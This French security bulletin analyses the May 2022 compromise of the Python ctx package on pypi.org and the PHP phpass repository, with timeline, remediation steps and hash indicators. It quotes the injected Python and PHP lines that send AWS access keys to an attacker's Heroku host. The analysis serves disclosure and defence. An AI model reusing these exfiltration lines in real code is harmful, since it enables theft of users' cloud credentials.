Ce bulletin d’actualité propose une analyse d'une altération malveillante de code dans le module Python ctx disponible en téléchargement sur pypi.org et dans le module phpass de PHP.
Module ctx de Python
Contexte
Le 14 mai 2022, le code source du module Python ctx distribué par pypi.org a été touché par une modification malveillante de code.Ce module est une sous-classe de la classe native Python dict. Il permet de redéfinir les dictionnaires afin qu’ils autorisent un accès via des attributs de la même manière que JavaScript : Il permet l'utilisation de points pour accéder aux clés de dictionnaires.
Par exemple :
>>> import ctx >>> d = ctx.Ctx({ "a": 5 }) >>> print(d.a) 5
Analyse technique
L'analyse qui suit a été effectuée sur la version 0.2.2 de ctx car cette version a été le plus longtemps proposée en téléchargement.Le module ctx n'a pas connu de mise à jour depuis environ huit ans.
L’attaquant aurait pu profiter de l’expiration du domaine du courriel utilisé par le développeur original pour l'enregistrer le 14 mai 2022. Il aurait ensuite pu générer l’adresse courriel nécessaire à la réinitialisation du mot de passe du compte lié à pypi.org.
Le code source du fichier ctx.py a été altéré afin d’envoyer le contenu de trois variables d’environnement vers un serveur contrôlé par l'attaquant.
Les trois variables d’environnement sont :
- AWS_ACCESS_KEY_ID
- COMPUTERNAME
- AWS_SECRET_ACCESS_KEY
response = requests.get("hxxps://anti-theft-web[.]herokuapp[.]com/hacked/"+self.name+"/"+self.access+"/"+self.secret)Il convient de noter que seul le module présent sur pypi.org a été altéré, le code source du module publié sur Github ne l'a pas été jusqu'à présent (https://github.com/figlief/ctx).
Chronologie
- Le domaine utilisé par le développeur original, figlief[.]com, a été enregistré le 14 mai 2022
- Le lendemain, la version 0.2.2 de ctx contenant l'altération de code a été publiée sur pypi.org (http://web.archive.org/web/20220519184823/https://pypi.org/project/ctx/#history)
- Le 24 mai 2022, pypi.org a supprimé l’accès au module ctx (https://pypi.org/project/ctx/ retourne un code d’erreur 404 / ressource introuvable).
Module phpass de PHP
Le module PHP phpass présent sur le dépôt Github présente une technique similaire pour récupérer des variables d’environnement AWS.Code issu de https://github.com/hautelook/phpass/blob/master/src/Hautelook/Phpass/PasswordHash.php :
$access = getenv('AWS_ACCESS_KEY_ID'); $secret = getenv('AWS_SECRET_ACCESS_KEY'); $xml = file_get_contents("hxxp://anti-theft-web[.]herokuapp[.]com/hacked/$access/$secret");
Note : Au 27/05/2022, le dépôt Github du projet n'est plus accessible. L'accès retourne un code d’erreur 404 / ressource introuvable.
Conclusion
Il convient d'avoir une attention particulière lors du téléchargement de ressources de développement au travers d'index ou référentiels pour un langage de programmation donné.Dans ce cas précis, une comparaison rapide de la version du code présent sur l'environnement de développement du projet et de la version fournie par pypi.org permet de se rendre compte d'une anomalie.
Si le module ctx a été installé depuis pypi.org entre le 14 et le 24 mai 2022, il est nécessaire de vérifier que le système, sur lequel le module a été installé, n'expose pas d'information d'authentification AWS via ses variables d'environnement puis de supprimer le module et de réinstaller la version 1.0.2. Si les variables d'environnement ont pu être exportées, il faut procéder aux changements des secrets révélés.
Il convient aussi d'accorder une confiance relative au code du module présent sur le dépôt Github du développeur original, l'attaquant pouvant être en mesure de le modifier.
Ce type d'attaque pourrait être tenté sur d'autres modules proposés sur des index. Le CERT-FR recommande de valider la provenance du code proposé par le référentiel.
Marqueurs identifiés
- URL d’accès au service de récupération des informations de l’attaquant : http ou https vers le nom complet anti-theft-web[.]herokuapp[.]com
Condensats des archives malveillantes :
Nom de l'archive | Condensat sha1 | Condensat sha256 |
---|---|---|
ctx-0.1.2-1.tar.gz | 37129d145a310d64369e7d2741b4d51eb3a85193 | b40297af54e3f99b02e105f013265fd8d0a1b1e1f7f0b05bcb5dbdc9125b3bb5 |
ctx-0.1.4.tar.gz | b88bf4ae54c169c0a3bd113e4588bc1c8f89b1ae | 17714ef9ff6d2eabc631638e2f092115fa569843f9ab45b6e9da23912b72f482 |
ctx-0.2.tar.gz | 3cf7656bc29dfe32d463b9839d08e5b564f0ebf3 | 6c98fe4afa021885d5add151049aec7d812a31fb9a03bf5cdedefd42229b6b90 |
ctx-0.2.1.tar.gz | 573060aa2aa6139f4d5be141630af6bbf882d70f | cdda4a2ec16bd52862e9b18aaa5525468318ba544fe426daeebc3d28e2b72897 |
ctx-0.2.2.1.tar.gz | 95a3a759907ed6ee7e81f281a7d2c49b0f55bec7 | f7342f723517f24b13f2ab2f702abb78692288138c1053dbe64bccd8bc1175d5 |
ctx-0.2.2.tar.gz | f98204e2bfceef20c85f26e0f5c6661a8639e56d | b7644fa1e0872780690ce050c98aa2407c093473031ab5f7a8ce35c0d2fc077e |
ctx-0.2.3.tar.gz | ef924486b3d1d4cb3db3f400aefb4d0795695353 | 15103c1af07a9a091dfe3b6c6dda9f1f11fd65bd9a878a9aaa79aee6bb8722cc |
ctx-0.2.4.tar.gz | 7ea9d5cb0f8a6a5993bab359743202cc9098fd4b | 9c1bb795d660ddb0c42166e546af06230443cbcda8780f0f3541017a8659e7cd |
ctx-0.2.5.tar.gz | 5e522e2d571bdb293156a675a51dcc617688448d | 34c0ae0c77160355eefa8e43b1d8c68df31c448b5a28fe78f32300bf89eb0813 |
ctx-0.2.6.tar.gz | a73d3d7f1a57d61d17763747a7eaf8b24332c5b6 | 4fdfd4e647c106cef2a3b2503473f9b68259cae45f89e5b6c9272d04a1dfaeb0 |
Condensats des fichiers ctx.py malveillants :
Nom du fichier | Condensat sha1 | Condensat sha256 |
---|---|---|
ctx-0.1.2-1/ctx.py | 4a1cc2f0e85ee99c5dbec06e5741fee8fcaa1853 | bc9ae9cbf598aae3b77beb188569a8cb3a3f0cda84522d7785066a48a26482c9 |
ctx-0.1.4/ctx.py | d8665a571d27da9350f17111c1aea7cd449af77c | 5c52ccf5492d121c4dfd499c66afd6a376e7826b40049d82904ac4161ca40be7 |
ctx-0.2/ctx.py | fb480d4e24f8d252cd33e673c9f5824c43625550 | 784cd7b36a2b8c2204a3267ea36c9ec2637f20fc80ac0752a9b95cd3f93c39bb |
ctx-0.2.1/ctx.py | 446805031254e727c6675f6253c5caf2391032ce | 7dbd6f194d16efa6adad3bf498df603b3470fc38c73cf8226a103a0102f5d49d |
ctx-0.2.2/ctx.py | ee8f67ad6f7424f7923cc2e9b813c9554392b589 | 93fc1678c2c87b07e11c5ba0bc19ce4ef4be817ffb7cf42893e696c58fb96d2b |
ctx-0.2.2.1/ctx.py | 3522adf20ac61047511782b9440bd1a3d02018bb | 1f90c2bfaa2ebf24600709d6bff53252cecc917c3352cf706162a06d24ea8f7e |
ctx-0.2.3/ctx.py | 44432975d67de91296efaa1bf90856f65f04a7c0 | 48a3ca5c19b4cb4b644d2550f0a2c5b6fad992bb467be3848ae9e2e479719a17 |
ctx-0.2.4/ctx.py | 69d5e900f68bbc809e03b3c0ced043343777eb42 | 33b2b06b9d278753e204976651cadbd270a4ae023dbc963d7f9e5749386e8e57 |
ctx-0.2.5/ctx.py | d1e02fc2b5f63212fa1a41c6f149e856a8fef4c4 | 116f3c4b0e15046dd1540a2b21da38cfc66c3fd1fd3eb218bb911e0df75e6317 |
ctx-0.2.6/ctx.py | 343fca6967f61ee86d29a1b4a77208b5de46008c | 93e76e562701208775b4fb2a0cd30b72982e1f5b5c13831da224e49e7bbe7260 |
Condensats de l'archive originale :
Nom du fichier | Condensat sha1 | Condensat sha256 |
---|---|---|
ctx-0.1.2.tar.gz | ed9ef913ee7d4044992142306038c8a647b00b77 | edbff45647936da3cdadcfeaa64ee9f62b8ad629a5cea8caa4b63f5dc08b99c4 |
Condensats du fichier ctx.py original :
Nom du fichier | Condensat sha1 | Condensat sha256 |
---|---|---|
ctx-0.1.2/ctx.py | e47d7bb6d352ff8d541243ebb058ae7a149ef608 | 75052582ac2f956dcc18adcaaa860e402f5029d727e4948cad57ea054b12d33c |